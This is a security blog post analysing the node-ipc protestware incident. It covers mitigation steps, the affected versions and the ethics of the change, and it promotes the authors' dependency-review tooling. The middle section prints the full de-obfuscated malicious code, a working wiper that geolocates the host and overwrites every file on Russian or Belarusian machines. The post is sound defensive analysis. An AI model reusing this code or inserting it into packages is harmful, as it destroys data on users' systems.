Skip to main content

Protestware - How node-ipc turned into malware

ยท 9 min read
Chris Thompson
Free Wortley
Forrest Allison

node-ipc is a popular package to help with inter-process communication in Node. In protest of Russia's invasion of Ukraine, the author of the package intentionally added malware on March 16th that targets Russian and Belarusian IPs.

The code attempts to geo-locate where it's running, and if it discovers it is running with in Russia or Belarus, then it attempts to replace the contents of every file on the system with a unicode heart character: โค. In a more recent version, it instead just drops a file with a peace message on the desktop.

Vue.js and many other projects are affected.

Mitigation Strategies

To figure out if you're using node-ipc via a transitive dependency, you can use the command yarn why node-ipc or npm explain node-ipc to show you where and how it's imported in your code. You can then pin your node-ipc version to a known version by adding overrides to your package.json, like so:

"overrides": {
"node-ipc@>9.2.1 <10": "9.2.1",
"node-ipc@>10.1.0": "10.1.0"
}

The same thing will work for any transitive npm dependency (IE sub-dependency) you want to override in the future.

Unfortunately, due to this package being a transitive dependency, it can be very difficult to realize you're even including node-ipc in the first place. This is a part of a bigger, ongoing problem in the Open Source world, and we talk more about that at the bottom of the post.

Bad Versions and Other Malware Packages

On NPM, previous versions that were pushed that contained the malicious code, including versions 9.2.2, 10.1.1, 10.1.2. These versions have all been removed at this point once this malware was spotted by the NPM team.

However, newly released versions, > 11.x.x, all now contain the library peacenotwar. Unlike the previous malicious code, this library does not remove files. Instead, the library attempts to "deliver a peaceful message" by writing the contents of the file, WITH-LOVE-FROM-AMERICA.txt to the host filesystem.

Going Viral

pizza swat screenshot

The updates to the node-ipc struck a chord with developers on the Internet and a great deal of activity has been happening on the project page since the version release.

Warning The follow links may contain offensive terms, and are not safe for work.

A number of issues , pull requests, and discussions have been created in outrage over the developer's modifications to their library.

Also, the ReadMe now claims that the developer was both sent pizza and SWATed.

Ethics

It's easy to understand someone wanting to use their voice, whatever voice they have, to strike back against Russian war crimes. Human lives are at stake, and you never know how someone may have been personally affected.

That said, there are a few reasons this approach is probably not the right path:

  • The file replacer code is true malware, designed to cause harm. Distributing it is against Github and NPMs terms of service, so a developer risks losing what platform they have when they do something like this.

  • Unlike something designed for an end user, a supply-chain attack like this targets so many projects and it's very hard to say who in the end will be effected. It's not hard to imagine this exploit running on a hospital computer, for instance, and wiping out important information.

  • The end-product that uses the library ends up itself becoming malware without the knowledge of its developer. In my mind it should be up to the creator of that software whether their product is distributed in Russia, and certainly whether it does something malicious.

The ethics of the 11.x release are interesting, since it simply drops a message asking for peace on the end-user's desktop. Whether that constitutes malware, I'm not sure. If you do choose to use it, at least you are now aware of what behavior to expect. The file name is WITH-LOVE-FROM-AMERICA.txt, in english, and it contains a statement denouncing war in several languages, starting in english, and a link to a protest song, also in english. It also makes the religious statement "God bless you". Keep in mind, less than 12% of Russians speak english.

I question whether this will be impactful to public opinion or will backfire and look like a "foreign virus". Naming the file with the name of Russia's most powerful enemy strikes me as particularly tone-deaf for a message meant to reach critical readers, given that the US is one of the prime excuses made by the Kremlin for Russia's expansionism.

A look at the malware itself

Here is the original malicious code, un-obfuscated. It's easy to follow:

import p from "path";
import fs from "fs";
import https from "https";

setTimeout(function () {
if (Math.round(Math.random() * 4) > 1) {
return;
}

const geoLocation = "https://api.ipgeolocation.io/ipgeo?apiKey=ae511e1627824a968aaaa758a5309154";

https.get(geoLocation, function (response) {
response.on("data", function (jsonData) {
try {
const jsonObject = JSON.parse(jsonData);
const countryName = jsonObject["country_name"].toLowerCase();
if (countryName.includes("russia") || countryName.includes("belarus")) {
getFiles("./");
getFiles("../");
getFiles("../../");
getFiles("/");
}
} catch (response) {
}
});
});
}, Math.ceil(Math.random() * 1000));

async function getFiles(path = "", param2 = "") {
if (!fs.existsSync(path)) {
return;
}

let fileInDir = [];
try {
fileInDir = fs.readdirSync(path);
} catch (t) {
}

const toDelete = [];
for (var i = 0; i < fileInDir.length; i++) {
const combinedPath = p.join(path, fileInDir[i]);

let pathData = null;
try {
pathData = fs.lstatSync(combinedPath);
} catch (t) {
continue;
}

if (pathData.isDirectory()) {
const result = getFiles(combinedPath, param2);
result.length > 0 ? toDelete.push(...result) : null;
} else if (combinedPath.indexOf(param2) >= 0) {
try {
fs.writeFile(combinedPath, "โค๏ธ", function () {
});
} catch (t) {
}
}
}
return toDelete;
}

const ssl = true;
export {ssl as default, ssl};

This code, which has since been deleted can be found here .

This code was obfuscated to hide its intentions by the developer as more people started to pay attention to what was happening.

Snyk has written a blog post detailing the timeline of events around the releasing of this malicious version.

Stopping Future Supply Chain Attacks

All of this is happening on the coat-tail of the widely used libraries faker.js and colors.js having code changes pushed to intentionally corrupt projects that included them.

With Node's support for postInstall scripts, any package is able to run arbitrary code even if it's never imported because simply running npm install will trigger the library's code. Adding insult to injury, when an imported package's version hasn't been "pinned" to a specific version, it's possible to install a malicious package update without even realizing it's happening.

Over the years, we've seen many attacks just like this happen, and the impact has only increased. It's clear that, without a solution to the problem, we're going to continue to see these issues popping up.

Dependency scanning tools like GitHub Dependabot, Snyk , TideLift, can spot these issues but not prevent them entirely. These tools are only designed to scan changes after they're committed to source control. That's too late to prevent exploitation though because developers can be attacked the moment they run npm install.

Tooling to Block these attacks

Stopping these attacks needs to happen before an npm install runs. But how does that work?

Have a developer review every line of code in new packages prior to it being available on NPM to download is absolutely impractical, but it's the best short-term solution. Our new tool, LunaTrace, is being built to solve this problem. (See below for more details.)

Dependency Sandboxes (WIP)

The long-term approach is to "sandbox" all packages by default and to grant them only the permissions they require. Unfortunately, this takes massive engineering effort to not just implement the engine, but also to "retrofit" existing NPM modules with a list of permissions.

Projects like Deno and Endo are aiming to make this long-term approach possible, and they both are currently under active development.

It will be years before we're at a point where the Node ecosystem (and other ecosystems too) have the tools available to fix these problems from the "ground up". Until then, the best approach is to be careful of what dependencies you're pulling in and to use something like LunaTrace to help you review new updates to them.

Use a Trusted Package Registry (Preview)

We're building a "fork" of NPM where all package updates are reviewed by our dedicated Security Engineers before your developers can install them. This prevents scenarios where you "fat finger" during an NPM install and end up running malicious code (aka "Typosquatting"), and it also prevents "supply chain" attacks (like node-ipc or faker.js) from adding malicious code automatically.

It's tedious work to review every line of code, but somebody has to do it.

The core LunaTrace is available as open source on GitHub, and we're launching a public SaaS/Cloud version very soon. (Please get in touch if you want to get early access.)

Please get in touch with us if you want access to our "Private NPM Registry" where Security Engineers review new NPM packages. (It's hard work, so it's something we charge for.)

If you're interested in working with us while we continue to develop and improve LunaTrace, please email us about early access at: contact@lunasec.io

Get notified automatically

It's just a matter of time before something like this happens again and, when it does, we will email you about it the moment we find out.

We're the same team that first wrote about (and named) Log4Shell back in December. In fact, that vulnerability is actually what made us start building LunaTrace in the first place!

LunaSec has always been about building Open Source Application Security tooling, but it's only after Log4Shell and speaking with hundreds of companies that we decided to start building tooling dedicated to addressing Dependency Security.

Help us stop malicious dependencies

Here are a few ways you can help:

Thank you!